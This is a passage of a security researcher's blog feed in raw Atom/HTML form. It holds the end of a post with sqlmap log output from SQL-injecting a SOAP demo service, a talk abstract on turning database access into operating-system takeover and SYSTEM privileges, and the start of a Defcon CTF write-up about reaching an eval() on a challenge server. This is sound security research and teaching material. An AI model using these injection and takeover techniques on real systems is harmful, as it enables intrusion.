new&#39;;&quot;&gt;[10:29:58] [INFO] testing Oracle&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:29:58] [WARNING] the back-end DMBS is not Oracle&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:29:58] [INFO] testing PostgreSQL&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:29:59] [WARNING] the back-end DMBS is not PostgreSQL&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:29:59] [INFO] testing Microsoft SQL Server&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:30:00] [WARNING] the back-end DMBS is not Microsoft SQL Server&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:30:00] [INFO] testing SQLite&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:30:00] [WARNING] the back-end DMBS is not SQLite&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;b&gt;[10:30:00] [INFO] testing Microsoft Access&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;b&gt;[10:30:01] [INFO] confirming Microsoft Access&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;b&gt;[10:30:02] [INFO] the back-end DBMS is Microsoft Access&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;web server operating system: Windows 2003 or 2008&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;back-end DBMS: Microsoft Access&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;As you can see, sqlmap performed SOAP based requests, parsed the POST data properly, identified that the &lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;creditAccount&lt;/span&gt; tag is affected by a SQL injection and exploited it to identify the back-end database management system, Microsoft Access.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Microsoft Access support is one of the work in progress features that &lt;a href=&quot;http://sqlmap.sourceforge.net/#author&quot;&gt;Miroslav and I&lt;/a&gt; have been working on lately, along &lt;a href=&quot;https://svn.sqlmap.org/sqlmap/trunk/sqlmap/doc/ChangeLog&quot;&gt;many other features&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If you want to reproduce this example, you need to checkout sqlmap latest development version from the Subversion repository, login onto the demo test to renew the session cookie and fire up sqlmap!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/1098312462729553548/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/1098312462729553548' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/1098312462729553548'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/1098312462729553548'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2010/06/sqlmap-and-soap-based-web-services.html' title='sqlmap and SOAP based web services'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-1579976587875627357</id><published>2010-06-28T12:43:00.012+01:00</published><updated>2010-06-29T10:07:05.609+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="conferences"/><category scheme="http://www.blogger.com/atom/ns#" term="database"/><category scheme="http://www.blogger.com/atom/ns#" term="networking"/><category scheme="http://www.blogger.com/atom/ns#" term="privilege escalation"/><category scheme="http://www.blogger.com/atom/ns#" term="slides"/><category scheme="http://www.blogger.com/atom/ns#" term="sql injection"/><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap"/><title type='text'>Got database access? Own the network!</title><content type='html'>&lt;div&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;Earlier this month I attended to &lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;http://www.athcon.org/&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;AthCon&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt; conference in Athens (Greece) where I gave a &lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;http://www.athcon.org/speakers/&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;talk&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;, met some very &lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;http://www.sock-raw.org/about.html&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;smart&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt; &lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;http://census-labs.com/&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;people&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;, did some awesome sight-seeing of the &lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Acropolis_of_Athens&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;Acropolis&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;, had good food and better-than-UK weather ;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;My presentation was titled &lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;Got database access? Own the network!&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt; and the abstract is as follows:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 20px; &quot;&gt;&lt;blockquote&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;The presentation highlights techniques to exploit a MySQL, PostgreSQL or Microsoft SQL Server database server in real world: how to abuse databases features to takeover the server as a whole, how to break out of the mere database process, get control of the operating system and escalate process’ privileges to SYSTEM and how to make the life of the forensics analyst harder in a post-exploitation investigation.&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;My presentation slides are &lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;http://www.slideshare.net/inquis/ath-con-2010bernardodamelegotdbownnet&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;online&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt; on Slideshare. You can also read them below.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;Thanks &lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;http://www.athcon.org/contacts/&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;AthCon team&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt; for organizing such a great event and giving me the opportunity to come over!&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  &gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div style=&quot;width:425px&quot; id=&quot;__ss_4633898&quot;&gt;&lt;object id=&quot;__sse4633898&quot; width=&quot;425&quot; height=&quot;355&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=athcon-2010-bernardodamele-gotdbownnet-100628062145-phpapp02&amp;amp;rel=0&amp;amp;stripped_title=ath-con-2010bernardodamelegotdbownnet&quot;&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot;&gt;&lt;param name=&quot;allowScriptAccess&quot; value=&quot;always&quot;&gt;&lt;embed name=&quot;__sse4633898&quot; src=&quot;http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=athcon-2010-bernardodamele-gotdbownnet-100628062145-phpapp02&amp;amp;rel=0&amp;amp;stripped_title=ath-con-2010bernardodamelegotdbownnet&quot; type=&quot;application/x-shockwave-flash&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;true&quot; width=&quot;425&quot; height=&quot;355&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/1579976587875627357/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/1579976587875627357' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/1579976587875627357'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/1579976587875627357'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2010/06/got-database-access-own-network.html' title='Got database access? Own the network!'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-1465952948688407781</id><published>2010-05-25T22:09:00.013+01:00</published><updated>2010-05-25T23:21:24.192+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ctf"/><category scheme="http://www.blogger.com/atom/ns#" term="defcon"/><category scheme="http://www.blogger.com/atom/ns#" term="eval"/><category scheme="http://www.blogger.com/atom/ns#" term="lambda"/><category scheme="http://www.blogger.com/atom/ns#" term="ncat"/><category scheme="http://www.blogger.com/atom/ns#" term="netcat"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="quals"/><title type='text'>Defcon 18 CTF quals writeup: Pwtent Pwnables 200</title><content type='html'>&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;The third Defcon 18 CTF challenge that I solved with two team mates was &lt;b&gt;Pwtent Pwnables 200&lt;/b&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;Title: Running on pwn8.ddtek.biz.Enjoy&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;File: pp200_73774703181e8703d24.bin (mirrored &lt;a href=&quot;http://stalkr.net/files/defcon/2010/quals/pp200/pp200_73774703181e8703d24.bin&quot;&gt;here&lt;/a&gt;).&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;I downloaded the file and checked it&#39;s type:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;file pp200_73774703181e8703d24.bin&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;pp200_73774703181e8703d24.bin: python 2.3 byte-compiled&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;With &lt;a href=&quot;http://www.depython.com/&quot;&gt;DePython&lt;/a&gt; I de-compiled the byte-code and got its working Python source code. We started looking into the code and while I was editing it to be a standalone application, a team mate spotted that by connecting from port &lt;b&gt;28741/TCP&lt;/b&gt; to the server you get access to the execution of the &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;eval()&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; command in the code - thanks Alex!&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;Anyway, my standalone rewrite of the source code with the seed fixed to &lt;b&gt;28741&lt;/b&gt; was as follows:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;class Server:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__module__ = __name__&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lotto_grid = None&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;connstream_fobj = None&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;def createWinners(self):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;winners = set()&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (len(winners) &amp;lt; PICK_SIZE):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;winners.update([random.randint(1, RAND_MAX)])&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return winners&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;def pickRandom(self):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;picks = set()&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;llen = len(self.lotto_grid)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rand_base = (len(picks) - 1)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (len(picks) &amp;lt; PICK_SIZE):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i = random.randint(rand_base, RAND_MAX)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ((i &amp;lt; 1) and ++i):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pass&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ((i &amp;gt; llen) and ((i % llen) == 0)):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i += 1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i = (i % llen)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;picks.update([i])&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return picks&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;def genGrid(self):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;grid = [WINNER_CHECK_FUNCTION]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print &quot;before:&quot;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print grid&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (len(grid) != 